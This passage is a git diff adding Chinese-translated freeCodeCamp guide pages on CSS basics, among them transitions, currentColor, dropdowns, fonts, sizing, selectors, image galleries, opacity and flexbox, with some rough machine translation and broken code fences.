+转换**开始**时以**秒或毫秒**指定。
+
+例如 ：
+```
+transition-delay: 1s /* means wait 1s before the transition effect start */ 
+```
+
+### 如何使用过渡？
+
+您可以通过两种方式编写转换：
+
+#### 使用速记属性（ `transition` ）
+
+```css
+div { 
+  width: 200px; 
+  transition: all 1s ease-in-out; 
+ } 
+ 
+ div:hover { 
+  width: 300px; 
+ } 
+```
+
+#### 为所有过渡属性赋予值
+
+```css
+div { 
+  width: 200px; 
+  transition-property: width; 
+  transition-duration: 1s; 
+  transition-timing-function: ease-in-out; 
+ } 
+```
+
+注意：两个例子都是**等价的**
+
+### 例子
+
+以下是一些包含简单过渡的简单笔：
+
+*   [基本过渡](https://codepen.io/thomlom/pen/gGqzNp)
+*   [过渡+ JavaScript](https://codepen.io/thomlom/pen/JrxZKz?editors=1111)
+
+#### 更多信息：
+
+*   [w3schools：CSS3过渡](https://www.w3schools.com/css/css3_transitions.asp)
+*   [MDN Web文档：使用CSS过渡](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions)
+*   [DevTips：CSS Transition](https://www.youtube.com/watch?v=8kK-cA99SA0)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/current-color-keyword/index.md b/client/src/guide/chinese/css/current-color-keyword/index.md
new file mode 100644
index 0000000000..98d791e637
--- /dev/null
+++ b/client/src/guide/chinese/css/current-color-keyword/index.md
@@ -0,0 +1,88 @@
+---
+title: currentColor Keyword
+localeTitle: currentColor关键字
+---
+## currentColor关键字
+
+顾名思义，currentColor关键字是CSS中的有效颜色值。这表示特定元素的`color`属性的值。这使您可以将`color`属性的值用于默认情况下不接收它的属性。
+
+### 浏览器支持
+
+各种浏览器都支持currentColor关键字。它受IE9 +，Safari 4+和所有其他现代浏览器的支持。查看[caniuse.com上](https://caniuse.com/#feat=currentcolor)的完整列表
+
+### 例
+
+我们声明每个div都有一个3px颜色的_currentColor_边框，这意味着每个div的边框将使用其`color`属性的相同值`color` 。点击[此处](http://jsfiddle.net/tjkp0cm3/)查看实时示例
+
+```css
+div{ 
+  /* The currentColor keyword for the color value, which means that the border will have the value of the respective div's color property */ 
+  border: 3px solid currentColor; 
+ } 
+ 
+ /* This div will have green borders, because its color value is green. */ 
+ #div1{ 
+  color: green; 
+ } 
+ 
+ /* This div will have blue borders, because its color value is blue. */ 
+ #div2{ 
+  color: blue; 
+ } 
+```
+
+### SVG的实际应用
+
+这是网络上一个非常常见的例子 - 一个带有SVG图标和文本的按钮。将鼠标悬停在按钮上时，边框，文本和图标的颜色会发生变化。下图按顺序描绘了按钮的初始状态和悬停状态。
+
+![按钮图像](https://image.ibb.co/hWveBR/button_variations.png)
+
+图标字体也可用于此目的，但内联SVG相对于图标字体有各种优点，这可能使SVG成为许多开发人员的选择。引用[CSS-Tricks](https://css-tricks.com/icon-fonts-vs-svg/) ，
+
+> 定位字体图标可能会令人沮丧。图标是通过伪元素插入的，它取决于`line-height` ， `vertical-align` ， `letter-spacing` ， `word-spacing` ，字体字形是如何设计的（它自然周围有空格吗？它是否有字距信息？） 。然后伪元素`display`类型会影响这些属性是否有效。 SVG只是它的大小。
+
+总结一下，使用带有文本的字体图标有时会令人沮丧。
+
+我们可以使用我们的代码来实现所需的行为。
+
+```css
+button{ 
+  color: #016898; 
+ } 
+ 
+ .emailIcon{ 
+  fill: #016898; 
+ } 
+ 
+ button:hover { 
+  color: #19B5FE; 
+ } 
+ 
+ button:hover .emailIcon{ 
+  fill: #19B5FE; 
+ } 
+```
+
+现在，我们可以将填充设置为`currentColor` ，而不是在显式悬停时更改SVG的`fill`颜色。这会自动将SVG的颜色更改为按钮的`color`属性值。我们现在只需要更改按钮的`color`属性。这使得CSS代码更短更智能。
+
+```css
+.emailIcon{ 
+  fill: currentColor; 
+ } 
+ 
+ button{ 
+  color: #016898; 
+ } 
+ 
+ button:hover { 
+  color: #19B5FE; 
+ } 
+```
+
+查看https://repl.it/NNt9/2上的实例。
+
+#### 更多信息：
+
+*   [关于CSS `color`属性的MDN文档](https://developer.mozilla.org/en-US/docs/Web/CSS/color)
+*   [关于currentColor关键字的MDN文档](https://developer.mozilla.org/en-US/docs/Web/CSS/color_value#currentColor_example)
+*   [关于osvaldas.info上currentColor的文章](https://osvaldas.info/keeping-css-short-with-currentcolor)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/device-independent-pixel/index.md b/client/src/guide/chinese/css/device-independent-pixel/index.md
new file mode 100644
index 0000000000..37b29e6145
--- /dev/null
+++ b/client/src/guide/chinese/css/device-independent-pixel/index.md
@@ -0,0 +1,11 @@
+---
+title: Device Independent Pixel
+localeTitle: 设备无关像素
+---
+## 设备无关像素
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/css/device-independent-pixel/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/dropdowns/index.md b/client/src/guide/chinese/css/dropdowns/index.md
new file mode 100644
index 0000000000..da1df28e03
--- /dev/null
+++ b/client/src/guide/chinese/css/dropdowns/index.md
@@ -0,0 +1,141 @@
+---
+title: Dropdowns
+localeTitle: 下拉菜单
+---
+## 下拉菜单
+
+下拉列表在CSS中用于隐藏按钮内的预定义列表。
+
+例子：
+
+```html
+
+<div class="dropdown"> 
+  <button class="dropbtn">Name</button> 
+  <div class="dropdownContent"> 
+    <a href="#">One</a> 
+    <a href="#">Two</a> 
+    <a href="#">Three</a> 
+  </div> 
+ </div> 
+```
+
+然后你应该在CSS中自定义类
+
+```css
+.dropdown { 
+  position: relative; 
+  display: inline-block; 
+ } 
+ 
+ .dropbtn { 
+  background-color: red; 
+  padding: 10px; 
+ } 
+ 
+ .dropdown-content { 
+  display: none; 
+  position: absolute; 
+ } 
+ 
+ .dropdown:hover .dropdown-content { 
+  display:block; 
+ } 
+```
+
+您需要单独的div类来创建按钮，而另一个div用于分隔按钮所包含的列表。
+
+#### 一个例子
+
+```html
+
+<div id="container"> 
+ 
+        <div id="myNav1" class="overlay"> 
+ 
+            <div class="overlay-content" id="myNav1-content"> 
+ 
+                <div> 
+                    <a href="#" id="list1_obj1" class="list1" >Content 1</a> 
+                </div> 
+                <div> 
+                    <a href="#" id="list1_obj2" class="list1" >Content 2</a> 
+                </div> 
+ 
+            </div> 
+ 
+         </div> 
+ 
+         <div id="myNav2" class="overlay"> 
+ 
+             <a href="javascript:void(10)" class="closebtn" onclick="closeNav()">&times</a> 
+            <div class="overlay-content" id="myNav2-content"> 
+ 
+                <div> 
+                    <a href="#" id="list2_obj1" class="list2" >Content 3</a> 
+                </div> 
+                <div> 
+                   <a href="#" id="list2_obj2" class="list2" >Content 4</a> 
+                </div> 
+                <div> 
+                  <a href="#" id="list2_obj3" class="list2" >Content 5</a> 
+                </div> 
+ 
+            </div> 
+ 
+         </div> 
+ 
+ </div> 
+```
+
+```css
+#myNav1 { 
+    height: 0; 
+    width: 50%; 
+    position: fixed; 
+    z-index: 6; 
+    top: 0; 
+    left: 0; 
+    background-color: #ffff; 
+    overflow: hidden; 
+    transition: 0.3s; 
+    opacity: 0.85; 
+ } 
+ 
+ #myNav2 { 
+    height: 0; 
+    width: 50%; 
+    position: fixed; 
+    z-index: 6; 
+    bottom: 0; 
+    right: 0; 
+    background-color: #ffff; 
+    overflow: hidden; 
+    transition: 0.3s; 
+    opacity: 0.85; 
+ } 
+ 
+ .overlay-content { 
+    position: relative; 
+    width: 100%; 
+    text-align: center; 
+    margin-top: 30px; 
+ } 
+ 
+ #myNav1-content{ 
+    top: 12%; 
+    left: 5%; 
+    display: none; 
+ } 
+ 
+ #myNav2-content{ 
+    top: 12%; 
+    right: 10%; 
+    display: none; 
+ } 
+```
+
+#### 更多信息：
+
+*   W3 School Dropdown Hover Button： [链接到W3学校](https://www.w3schools.com/howto/howto_css_dropdown.asp)
+*   W3学校课程： [连结W3学校](https://www.w3schools.com/css/css_dropdowns.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/fonts/index.md b/client/src/guide/chinese/css/fonts/index.md
new file mode 100644
index 0000000000..f0adb015a0
--- /dev/null
+++ b/client/src/guide/chinese/css/fonts/index.md
@@ -0,0 +1,111 @@
+---
+title: Fonts
+localeTitle: 字体
+---
+## 字体
+
+CSS字体属性定义文本的字体系列，重量，大小，变体，行高和样式。
+
+### 字体系列
+
+只需使用`font-family`属性设置文本的`font-family` 。
+
+它适用于_后备_系统，如果您的浏览器不支持第一个字体，它会尝试使用下一个字体，依此类推。如果字体的名称不止一个单词，则必须用引号括起来。
+
+```css
+p { 
+    font-family: "Times New Roman", Times, serif; 
+ } 
+```
+
+在上面的例子中，“Times New Roman”是字体，而“serif”是 。通用名称用作后备 如果姓氏不可用，则保留样式的机制。通用名称应始终是字体系列名称列表中的最后一项。通用 姓氏是serif，sans-serif，monospace，cursive，fantasy，system-ui。
+
+### 字体样式
+
+`font-style`属性可用于指定斜体文本。
+
+此属性有3个值：
+
+*   normal - 正常显示文本
+*   斜体 - 以_斜体显示的_文字
+*   斜 - 文字显示倾斜
+
+```css
+.normal { 
+    font-style: normal; 
+ } 
+ 
+ .italic { 
+    font-style: italic; 
+ } 
+ 
+ .oblique { 
+    font-style: oblique; 
+ } 
+```
+
+### 字体大小
+
+`font-size`属性设置文本的大小。
+
+有不同类型的字体大小值：
+
+*   `px` （pixels） - 文本的默认大小为`16px`
+*   `em` - `1em` =当前字体大小，因此`1em` = `16px` （由W3C推荐）
+*   `small` ， `medium` ， `large` - 称为绝对大小值
+*   `%` - 百分比
+
+```css
+.with-pixels { 
+    font-size: 14px; 
+ } 
+ 
+ .with-ems { 
+    font-size: 0.875em; 
+ } 
+ 
+ .with-absolute { 
+    font-size: large; 
+ } 
+ 
+ .with-percentage { 
+    font-size: 80%; 
+ } 
+```
+
+### 字体重量
+
+`font-weight`属性指定`font-weight`的粗细（或粗体）。接受的关键字（ `bold` ， `normal` ， `bolder` ， `lighter` ）或数字的关键词（ `100` ， `200` ， `300` ， `400`等） `400`是一样的`normal` 。
+
+```css
+p { 
+   font-weight: bold 
+ } 
+```
+
+### 字体响应
+
+可以使用vw（视口宽度）单位设置文本大小。 这样，文本大小将遵循浏览器窗口的大小。
+
+```html
+
+<h1 style="font-size:10vw">Hello World</h1> 
+```
+
+`Viewport is the browser window size. 1vw = 1% of viewport width. If the viewport is 50cm wide, 1vw is 0.5cm.`
+
+### 字体变体
+
+`font-variant`属性指定文本是否应以小型大写字体显示（其中所有小写字母都转换为大写字母，而字体大小小于文本中的原始大写字母）。
+
+```css
+p.small { 
+  font-variant: small-caps; 
+ } 
+```
+
+#### 更多信息：
+
+*   [W3学校 - CSS字体](https://www.w3schools.com/css/css_font.asp)
+*   [MND - CSS字体](https://developer.mozilla.org/en-US/docs/Web/CSS/font)
+*   [CSSFontStack](https://www.cssfontstack.com/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/forms/index.md b/client/src/guide/chinese/css/forms/index.md
new file mode 100644
index 0000000000..50d2da1fc3
--- /dev/null
+++ b/client/src/guide/chinese/css/forms/index.md
@@ -0,0 +1,20 @@
+---
+title: Forms
+localeTitle: 形式
+---
+## 形式
+
+HTML表单元素定义用于收集用户输入的表单。 例子：
+
+```html
+
+<form> 
+  contents 
+ </form> 
+```
+
+HTML表单包含表单元素。
+
+表单元素是不同类型的输入元素，如文本字段，复选框，单选按钮，提交按钮等。
+
+在表单标签内部还有一些重要的属性： -action：数据将发送到的页面 -method：请求类型：'GET'和'POST'
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/graceful-degradation/index.md b/client/src/guide/chinese/css/graceful-degradation/index.md
new file mode 100644
index 0000000000..13962e195c
--- /dev/null
+++ b/client/src/guide/chinese/css/graceful-degradation/index.md
@@ -0,0 +1,11 @@
+---
+title: Graceful Degradation
+localeTitle: 优雅的退化
+---
+## 优雅的退化
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/css/graceful-degradation/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/height-and-width-dimensions/index.md b/client/src/guide/chinese/css/height-and-width-dimensions/index.md
new file mode 100644
index 0000000000..3a9080ffed
--- /dev/null
+++ b/client/src/guide/chinese/css/height-and-width-dimensions/index.md
@@ -0,0 +1,120 @@
+---
+title: Height and Width Dimensions
+localeTitle: 高度和宽度尺寸
+---
+## 高度和宽度尺寸
+
+### 定义
+
+程序员可以使用height和width属性来更改特定元素的高度和宽度。为了更改其尺寸，必须将这些元素的`display`属性值设置为`block`或`inline-block` 。
+
+### 句法
+
+#### 高度：
+
+*   `height: auto|length|initial|inherit;`
+*   `min-height: length|initial|inherit;`
+*   `max-height: none|length|initial|inherit;`
+
+#### 宽度：
+
+*   `width: auto|value|initial|inherit;`
+*   `min-width: length|initial|inherit;`
+*   `max-width: none|length|initial|inherit;`
+
+### 用法和例子
+
+上面提到的所有属性只能有**一个**值。
+
+#### 高度：
+
+`height`属性设置元素的确切高度。值`auto`是默认值，它允许浏览器自动设置高度。这通常取决于元素内容占用多少垂直空间。高度的长度可以设置为固定为`px` ，相对于最近的父元素的高度使用`%`单位，或相对于视口的高度使用`vh`单位。 `initial`值与`auto`值具有相同的效果，而`inherit`值将使元素与其最近的父元素具有相同的高度。
+
+**例：**
+
+```html
+
+<p id="red">Example text</p> 
+```
+
+```css
+p#red { 
+    margin: 0; 
+  background-color: red; 
+  height: 50vh; 
+    line-height: 50vh; 
+    text-align:center; 
+ } 
+```
+
+**结果：** ![例一](https://image.prntscr.com/image/dbKSQofTThGZRD7FJLyjJQ.png) 上面的示例使用`vh`单位设置高度。此单位用于设置元素相对于视口高度的高度。在这种情况下，红色段落的高度为视口高度的一半，因此它占据了屏幕的50％。 _注意：必须从正文中删除所有默认边距，以使结果显示为应该的结果。_
+
+`min-height`属性设置元素必须具有的最小高度。在垂直调整页面大小时，此属性很有用，因为程序员可以防止元素收缩太多而不能很好地显示。元素的`min-height`的默认值设置为0.下面的CSS代码将阻止`ID`为**example**的段落缩小到高度小于400px。
+
+**例：**
+
+```css
+p#example { 
+  min-height: 400px; 
+ } 
+```
+
+`max-height`属性设置元素可以达到的最大高度。当您不希望元素大于特定大小时，这可能很有用。如果元素的内容的高度大于`max-height`值，则内容将溢出。
+
+**例：**
+
+```css
+p { 
+  max-height: 40px; 
+  background-color: red; 
+ } 
+```
+
+**结果：** ![例3](https://image.prntscr.com/image/eRdqazdUSWO2rdVfcUb5rQ.png)
+
+#### 宽度：
+
+CSS宽度属性说明与高度属性完全相同，除了它们改变元素的宽度。因此，我将仅在下面展示一些使用这些属性的示例。
+
+**例：**
+
+```css
+p { 
+  width: 150px; 
+  background-color: red; 
+ } 
+```
+
+**结果：** ![例4](https://image.prntscr.com/image/x1_khU6TQsmZQznt7YU9qw.png)
+
+_注意：内容不会向右溢出，它只占用指定的宽度，然后分成下一行。_
+
+**例：**
+
+```css
+p { 
+  min-width: 50px; 
+ } 
+```
+
+上面的代码将不允许段落元素水平缩小到小于50px。
+
+**例：**
+
+```css
+p { 
+  max-width: 300px; 
+  background-color: red; 
+ } 
+```
+
+上面的代码不允许元素的宽度大于300px。
+
+我希望这篇文章能帮助您熟悉CSS高度和宽度尺寸。我在下面列出了一些链接，如果您想了解更多关于这些属性的信息。
+
+#### 更多信息：
+
+*   CSS高度和宽度尺寸：https：//www.w3schools.com/css/css\_dimension.asp
+*   CSS height属性：https：//www.w3schools.com/cssref/pr _dim_ height.asp
+*   CSS宽度属性：https：//css-tricks.com/almanac/properties/w/width/
+*   CSS长度：https：//developer.mozilla.org/en-US/docs/Web/CSS/length
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/hover-selector/index.md b/client/src/guide/chinese/css/hover-selector/index.md
new file mode 100644
index 0000000000..c114d069a7
--- /dev/null
+++ b/client/src/guide/chinese/css/hover-selector/index.md
@@ -0,0 +1,40 @@
+---
+title: Hover Selector
+localeTitle: 悬停选择器
+---
+## 悬停选择器
+
+CSS `:hover`选择器是用于设置元素样式的许多伪类之一。
+
+：鼠标悬停选择器用于在鼠标悬停时选择元素。
+
+：hover选择器可用于所有元素，而不仅仅用于链接。
+
+使用：link选择器设置指向未访问页面的链接的样式，使用：visited选择器设置指向已访问页面的链接的样式，使用：active选择器设置活动链接的样式。
+
+注意：hover必须在CSS定义中跟随：link和：visited（如果它们存在），以便有效！
+
+CSS语法 ：悬停{ css声明; }
+
+悬停选择器仅在元素进入悬停状态时应用规则中提供的样式。 那是用户用鼠标悬停在元素上的时候。
+
+```css
+button { 
+  color: white; 
+  background-color: green; 
+ } 
+ 
+ button:hover { 
+  background-color: white; 
+  border: 2px solid green; 
+  color: green; 
+ } 
+```
+
+在上面的示例中，按钮的正常样式是绿色按钮上的白色文本。 当用户用鼠标悬停在按钮上时，带有`:hover`选择器的规则将变为活动状态，按钮的样式将更改。
+
+#### 更多信息：
+
+[MDN `:hover`文档](https://developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-classes)
+
+您可以在Mozillia的[MDN Pseudo-classes Docs](https://developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-classes)文章中找到更多伪[类](https://developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-classes) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/id-selector/index.md b/client/src/guide/chinese/css/id-selector/index.md
new file mode 100644
index 0000000000..f881c73129
--- /dev/null
+++ b/client/src/guide/chinese/css/id-selector/index.md
@@ -0,0 +1,44 @@
+---
+title: ID Selector
+localeTitle: ID选择器
+---
+## ID选择器
+
+CSS ID选择器将样式应用于特定的html元素。 CSS ID选择器必须与HTML元素的ID属性匹配。 与可以应用于整个站点中的多个元素的类不同，特定ID可以仅应用于站点上的单个元素。 CSS ID将覆盖CSS类属性。 要选择具有特定id的元素，请写入散列（＃）字符，后跟元素的id。
+
+### 句法
+
+```css
+#specified_id { /* styles */ } 
+```
+
+您可以将ID选择器与其他类型的选择器组合以设置非常特定的元素。
+
+```css
+section#about:hover { color: blue; } 
+ 
+ div.classname#specified_id { color: green; } 
+```
+
+### 关于ID的说明
+
+如果可能，应在样式时避免使用ID。因为它具有很高的特异性，只有在内联样式或在`<style>`添加样式时才能覆盖它。 ID的权重覆盖类选择器和类型选择器。
+
+请记住，ID选择器必须与HTML元素的ID属性匹配。
+
+```html
+
+<div id="specified_id"><!-- content --></div> 
+```
+
+### 特异性
+
+ID选择器具有高特异性，使其难以覆盖。类具有低得多的特异性，并且通常是样式元素的首选方式，以避免特异性问题。 [MDN的特殊性](https://developer.mozilla.org/en-US/docs/Web/CSS/Specificity)
+
+#### 更多信息：
+
+[freeCodeCamp Challenge - 设置元素的ID](https://www.freecodecamp.org/challenges/set-the-id-of-an-element)
+
+[freeCodeCamp Challenge - 使用ID属性为元素设置样式](https://www.freecodecamp.org/challenges/use-an-id-attribute-to-style-an-element)
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/ID_selectors)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/image-galleries/index.md b/client/src/guide/chinese/css/image-galleries/index.md
new file mode 100644
index 0000000000..a021f0d66f
--- /dev/null
+++ b/client/src/guide/chinese/css/image-galleries/index.md
@@ -0,0 +1,76 @@
+---
+title: Image Galleries
+localeTitle: 图片库
+---
+## 图片库
+
+您可以使用CSS创建自己的图像库。
+
+## 图库示例
+```
+<html> 
+ <head> 
+ <style> 
+ div.gallery { 
+    margin: 5px; 
+    border: 1px solid #ccc; 
+    float: left; 
+    width: 180px; 
+ } 
+ 
+ div.gallery:hover { 
+    border: 1px solid #777; 
+ } 
+ 
+ div.gallery img { 
+    width: 100%; 
+    height: 150px; 
+ } 
+ 
+ div.desc { 
+    padding: 15px; 
+    text-align: center; 
+ } 
+ </style> 
+ </head> 
+ <body> 
+ 
+ <div class="gallery"> 
+  <a target="_blank" href="fjords.jpg"> 
+    <img src="https://www.dropbox.com/s/mdj3pjh4jgyeieo/cat1.jpg?raw=1" alt="Image of staring cat" width="300" height="200"> 
+  </a> 
+  <div class="desc">Add a description of the image here</div> 
+ </div> 
+ 
+ <div class="gallery"> 
+  <a target="_blank" href="forest.jpg"> 
+    <img src="https://www.dropbox.com/s/i1ow97mcl6ubxhv/cat2.jpg?raw=1" alt="Image of fat cat" width="300" height="200"> 
+  </a> 
+  <div class="desc">Add a description of the image here</div> 
+ </div> 
+ 
+ <div class="gallery"> 
+  <a target="_blank" href="lights.jpg"> 
+    <img src="https://www.dropbox.com/s/h6ks8v78ncwur31/cat3.jpg?raw=1" alt="Image of frolicking cat" width="300" height="200"> 
+  </a> 
+  <div class="desc">Add a description of the image here</div> 
+ </div> 
+ 
+ <div class="gallery"> 
+  <a target="_blank" href="mountains.jpg"> 
+    <img src="https://www.dropbox.com/s/zda9llgop3j9bf7/cat4.jpg?raw=1" alt="Image of wide-eyed cat" width="300" height="200"> 
+  </a> 
+  <div class="desc">Add a description of the image here</div> 
+ </div> 
+ 
+ </body> 
+ </html> 
+```
+
+## 结果：
+
+![猫画廊](https://www.dropbox.com/s/vke4gp96aiz6qtv/gallery.PNG?raw=1)
+
+#### 更多信息：
+
+https://www.w3schools.com/css/css _image_ gallery.asp
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/image-opacity-and-transparency/index.md b/client/src/guide/chinese/css/image-opacity-and-transparency/index.md
new file mode 100644
index 0000000000..f98099c92b
--- /dev/null
+++ b/client/src/guide/chinese/css/image-opacity-and-transparency/index.md
@@ -0,0 +1,51 @@
+---
+title: Image Opacity and Transparency
+localeTitle: 图像不透明度和透明度
+---
+## 图像不透明度和透明度
+
+`opacity`属性允许您通过降低图像的`opacity`来使图像透明。
+
+`Opacity`的值介于0.0和1.0之间。
+
+1.0是任何图像的默认值。它是完全不透明的。
+
+例
+
+```css
+img { 
+    opacity: 0.3; 
+ } 
+ ``` 
+ 
+ Include ```filter: alpha(opacity=x)``` for IE8 and earlier. The x takes a value from 0-100. 
+```
+
+CSS img { 不透明度：0.3; filter：alpha（opacity = 30）; }
+```
+Here's an example of an image set to the parameters in the example above. 
+ ![image at 30% opacity](https://github.com/lvcoulter/images/blob/master/Opacity30percent.jpg?raw=true) 
+ 
+ 
+ You can pair ```opacity``` with ```:hover``` to create a dynamic mouse-over effect. 
+ 
+ Example: 
+```
+
+CSS img { 不透明度：0.3; filter：alpha（opacity = 30）; } img：hover { 不透明度：1.0; filter：alpha（opacity = 100）; }
+```
+[A codepen example to show a transparent image turning opaque on hover](https://codepen.io/lvcoulter/full/JrzxXa/) 
+ <!--I cannot figure out how to embed a Codepen. I would really like to know--> 
+ 
+ You can create the opposite effect with less code since the image is 1.0 opacity by default 
+ 
+ Example: 
+```
+
+CSS img：hover { 不透明度：0.3; filter：alpha（opacity = 30）; } \`\`\` [用于显示鼠标悬停透明度的codepen示例](https://codepen.io/lvcoulter/full/xXBQoR/)
+
+#### 更多信息：
+
+\-w3schools.com [CSS不透明度/透明度](https://www.w3schools.com/css/css_image_transparency.asp)
+
+\-MDN web docs [Opacity](https://developer.mozilla.org/en-US/docs/Web/CSS/opacity)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/index.md b/client/src/guide/chinese/css/index.md
new file mode 100644
index 0000000000..5669d2eb9c
--- /dev/null
+++ b/client/src/guide/chinese/css/index.md
@@ -0,0 +1,25 @@
+---
+title: Cascading Style Sheets (CSS)
+localeTitle: 层叠样式表（CSS）
+---
+### 层叠样式表（CSS）
+
+CSS是Cascading Style Sheets的首字母缩写。它最初是在1996年发明的，现在是所有主要网络浏览器的标准功能。
+
+CSS允许开发人员通过“设计”该页面的HTML结构来控制网页的外观。
+
+CSS规范由[万维网联盟（W3C）](https://www.w3.org/)维护。
+
+你可以在CSS中构建一些非常神奇的东西，例如这个纯CSS [扫雷游戏](https://codepen.io/bali_balo/pen/BLJONk) （它不使用JavaScript）。
+
+![](https://cdn-images-1.medium.com/max/800/1*GFcKk9KxqHAnWa1ECcKDOQ.png)
+
+#### 推荐阅读：
+
+一个好的开始是freeCodeCamp课程[基本CSS简介](https://learn.freecodecamp.org/responsive-web-design/basic-css) 。
+
+对于初学者的另一个建议是W3C的[HTML + CSS](https://www.w3.org/Style/Examples/011/firstcss)教程如何创建样式表。
+
+网站[CSS Zen Garden](http://www.csszengarden.com/)是一个很好的例子，如何将相同的html设计为完全独特。
+
+为了演示CSS的强大功能，请查看[Species In Pieces](http://species-in-pieces.com/#) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/layout-horizontal-and-vertical-align/index.md b/client/src/guide/chinese/css/layout-horizontal-and-vertical-align/index.md
new file mode 100644
index 0000000000..f9f6c61688
--- /dev/null
+++ b/client/src/guide/chinese/css/layout-horizontal-and-vertical-align/index.md
@@ -0,0 +1,11 @@
+---
+title: Layout Horizontal and Vertical Align
+localeTitle: 布局水平和垂直对齐
+---
+## 布局水平和垂直对齐
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/css/layout-horizontal-and-vertical-align/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/layout/display-property/index.md b/client/src/guide/chinese/css/layout/display-property/index.md
new file mode 100644
index 0000000000..c5f7a4c212
--- /dev/null
+++ b/client/src/guide/chinese/css/layout/display-property/index.md
@@ -0,0 +1,48 @@
+---
+title: Display Property
+localeTitle: 显示属性
+---
+## 显示属性
+
+`display`属性指定用于HTML元素的框的类型。共有20个关键字值，但通常只使用10个。常用的是：
+
+```css
+.none           {display: none} 
+ .block          {display: block} 
+ .inline-block   {display: inline-block} 
+ .inline         {display: inline} 
+ .flex           {display: flex} 
+ .inline-flex    {display: inline-flex} 
+ .inline-table   {display: inline-table} 
+ .table          {display: table} 
+ .inherit        {display: inherit} 
+ .initial        {display: initial} 
+```
+
+**常见例子：**
+
+```css
+.myBox { 
+    display: block; 
+ } 
+ 
+ .myContainer { 
+    display: flex; 
+ } 
+ 
+ .inlineList ul > li { 
+    display: inline; 
+ } 
+```
+
+#### 更多信息：
+
+*   文档和关键字值的完整列表： [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/display)
+    
+*   有关显示属性的W3Schools CSS参考资料： [W3Schools](https://www.w3schools.com/cssref/pr_class_display.asp)
+    
+*   CSS-TRICKS对display属性有很好的参考： [CSS-Tricks](https://css-tricks.com/almanac/properties/d/display/)
+    
+*   浏览器支持： [caniuse](http://caniuse.com/#search=display)
+    
+*   Flexbox完整指南： [CSS-Tricks](https://css-tricks.com/snippets/css/a-guide-to-flexbox/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/layout/flexbox/flex-basis-property/index.md b/client/src/guide/chinese/css/layout/flexbox/flex-basis-property/index.md
new file mode 100644
index 0000000000..cdcd62f128
--- /dev/null
+++ b/client/src/guide/chinese/css/layout/flexbox/flex-basis-property/index.md
@@ -0,0 +1,48 @@
+---
+title: Flex Basis Property
+localeTitle: Flex Basis Property
+---
+# Flex基础
+
+`flex-basis`属性定义沿Flex容器主轴的flex `flex-item`的大小。如果`flex-direction`设置为`row` ，则主轴为水平，如果`flex-direction` `flex-direction`属性设置为`column` ，则主轴为垂直轴。
+
+## 句法
+
+```css
+flex-basis: auto | content | <width> | <height>; 
+```
+
+## flex-basis：auto
+
+`flex-basis: auto`查找元素的主要大小并定义大小。例如，在水平Flex容器上，如果容器轴是垂直的， `auto`将查找`width`和`height` 。
+
+如果未指定大小，则`auto`将回退到`content` 。
+
+## flex-basis：内容
+
+`flex-basis: content`根据元素的`flex-basis: content`解析大小，除非通过正常的`box-sizing`设置`width`或`height` 。
+
+在`flex-basis`为`auto`或`content` ，如果指定了main size，则该大小将优先。
+
+## 柔性基础：
+
+这与指定`width`或`height` ，但只是更灵活。 `flex-basis: 20em;`将元素的初始大小设置为`20em` 。它的最终尺寸将基于可用空间， `flex-grow` multiple和`flex-shrink` multiple。
+
+该规范建议使用`flex`速记属性。这有助于编写`flex-basis`以及`flex-grow`和`flex-shrink`属性。
+
+## 例子
+
+这里是各行柔性容器和各个柔性元件的行，显示`flex-basis`如何影响`box-sizing` 。
+
+![柔性基础对横轴的影响](https://vijayabharathib.github.io/fcc_guide_images/css/properties/flex-basis-horizontal.png)
+
+当`flex-direction`为`column` ，相同的`flex-basis`将控制`height`属性。下面的例子，
+
+![基于柔性基础控制垂直容器中的高度的示例](https://vijayabharathib.github.io/fcc_guide_images/css/properties/flex-basis-vertical.png)
+
+#### 更多信息：
+
+以下页面的其他参考：
+
+*   CSS规范[级别1](https://drafts.csswg.org/css-flexbox-1/)
+*   基于[flex的](https://developer.mozilla.org/en-US/docs/Web/CSS/flex-basis#content) Mozilla Developer Network页面
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/layout/flexbox/flex-grow/index.md b/client/src/guide/chinese/css/layout/flexbox/flex-grow/index.md
new file mode 100644
index 0000000000..905a77cd5e
--- /dev/null
+++ b/client/src/guide/chinese/css/layout/flexbox/flex-grow/index.md
@@ -0,0 +1,74 @@
+---
+title: Flex-grow
+localeTitle: Flex的成长
+---
+# Flex的成长
+
+flex-grow属性是一个flexbox属性，允许您指定Flex容器中容器的可用空间分配。它为所有不需要的空间提供了解决方案！
+
+它会把你的容器从这里转过来
+
+![](https://i.imgur.com/lFJaBUfh.png)
+
+# **对此**
+
+![](https://i.imgur.com/4X8ITZih.png)
+
+刚刚发生了什么？
+
